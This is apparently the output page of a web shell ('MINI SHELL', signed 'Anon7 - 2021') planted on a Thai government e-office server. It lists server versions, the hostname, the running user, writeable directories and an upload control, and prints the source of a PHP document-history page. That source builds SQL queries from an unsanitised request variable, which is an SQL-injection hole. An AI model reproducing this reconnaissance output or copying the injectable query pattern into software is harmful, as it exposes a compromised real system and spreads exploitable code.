MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/bin/document_bk v 1test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/bin/document_bk v 1test/history.php
<?
if($history_mode=="timeline"){
include'docreg_history_timeline.php';	
}else{

if ($nowdocid == ""){ $nowdocid = $user_id ; } 
//function ที่ใช้แสดงวันที่แบบเต็ม ใช้ใน edocument
function fulltime_daythai($temp){
if($temp != "0000-00-00 00:00:00"){
	$month = array("ม.ค.", "ก.พ.", "มี.ค", "ม.ย", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย", "ต.ค.", "พ.ย.", "ธ.ค.");
	$temp1=explode(" ", $temp);
	$num = explode("-", $temp1[0]);			
	if($num[0] == "0000"){
	  $date = "ไม่ระบุ";
	} else {
	  $tyear = ($num[0] + 543);
	  $date = remove_zero($num[2])."&nbsp;".$month[$num[1] - 1 ]."&nbsp;".$tyear." ".substr($temp1[1],0,-3);	
	}

	} else {
		$date = "ไม่ระบุ";
	}
		return $date;
	} ############### END function fulltime_daythai
	//'$nowdocid'

	// จำนวนนับ ให้แต่ละ กิจกรรม
	$sql2_all ="
	SELECT
	count(history_actstatus.actstatus) as count_rec,
	doc_history.timerec as timerec,
	doc_history.doc_action as action
	FROM doc_history Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id
	WHERE docid = '$nowdocid'
	GROUP BY doc_history.timerec
	ORDER BY doc_history.timerec ASC
	";
	$result2 = mysql_db_query($dbname , $sql2_all)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	while($rs2 = mysql_fetch_assoc($result2)){
		$count[$rs2[timerec]][$rs2[action]]=$rs2[count_rec];
	}


	$sql2_all ="
	SELECT
	doc_history.timerec as timerec,
	doc_history.doc_action as action,
	doc_history.owner_label as label,
	history_actstatus.actstatus as status,
	history_actstatus.img as img
	FROM doc_history Inner Join history_actstatus ON doc_history.action_id = history_actstatus.id
	WHERE docid = '$nowdocid'
	ORDER BY doc_history.timerec ASC , doc_history.doc_action DESC 
	";
	$r=0;$unity_row="off";$all_row=0;
	//echo "<pre>";
	$result2 = mysql_db_query($dbname , $sql2_all)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
	while($rs2 = mysql_fetch_assoc($result2)){

		// if(($timerow==$rs2[timerec])||($rs2[action]=='active')){$show_row[$rs2[timerec]][unity_group].="<br>".$rs2[staffname];}		<br />
		// ปิด-เปิดกรุ๊ปโรล//echo $unity_row."<br>";// ปัดโรลใหม
		if(($timerow!=$rs2[timerec])||($rs2[action]!=$action_g)||($rs2[action]=="edit")){$unity_row="off";}		
		if($unity_row=="off"){	$r++; $all_row=$r;}		
		$show_row[$r][timerec]=$rs2[timerec];
		$show_row[$r][status]=$rs2[status];
		$show_row[$r][action]=$rs2[action];
		$show_row[$r][img]=$rs2[img];
		$show_row[$r][label]=$rs2[label];
		if(($rs2[action]=="activity")){$unity_row="on";}
		if(($timerow==$rs2[timerec])&&($timerow)){$unity_row="on";}				
		if($unity_row=="on"){ $show_row[$r][count_grow]++; }		
		$action_g=$rs2[action];
		$timerow=$rs2[timerec];
	}
	// echo "<pre>";print_r($show_row); 
?>
<table width="98%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">

<tr>
<td colspan="3" align="center">
<tr><td colspan="3" align="center">&nbsp;</td>
</tr>

	<tr>
		<td valign="top" bgcolor="#CCCCCC"><strong>ประวัติกิจกรรมทะเบียนหนังสือ </strong>		  <a href="<?=$PHP_SELF?>?id=<?=$id?>&type=<?=$type?>&mode=timeline&action=<?=$action?>"><img src="../../images/arrow-b.gif" width="21" height="21" border="0" /></a> </td>
	</tr>
	<tr>
		<td valign="top"><table width="100%" border="0" cellspacing="1" cellpadding="1">
			
			<tr>
				<td width="30%" bgcolor="#F5F5F5"><strong>กิจกรรมทะเบียนหนังสือ</strong></td>
				<td width="50%" bgcolor="#F5F5F5"><strong>หน่วยดำเนินการ</strong></td>
				<td width="20%" bgcolor="#F5F5F5"><strong>วัน เวลา</strong></td>
			</tr>
						




	<?
	for($i=1;$i<=$all_row;$i++){
	?>
	<tr bgcolor="<?=$bgcolor?>">
		<td><img src='../../images/<?=$show_row[$i][img]?>' ><?=$show_row[$i][status]?></td>
		<td>
		<?
		if(($show_row[$i][action]!="activity")&&($show_row[$i][action]!="add")){
		echo $show_row[$i][label];}else{echo " ".$show_row[$i][count_grow]," หน่วยงาน";}
		?>
		</td>
		<td>
		<?
//		if(($show_row[$i][action]!="activity")&&($show_row[$i][action]!="add")){
			echo  fulltime_daythai( $show_row[$i][timerec]);
//			}
		?>
	</td>		
	</tr>
<? }?>

</table>
<? }?>

<?
// echo "<pre>";  print_r($show_row);
?>

Anon7 - 2021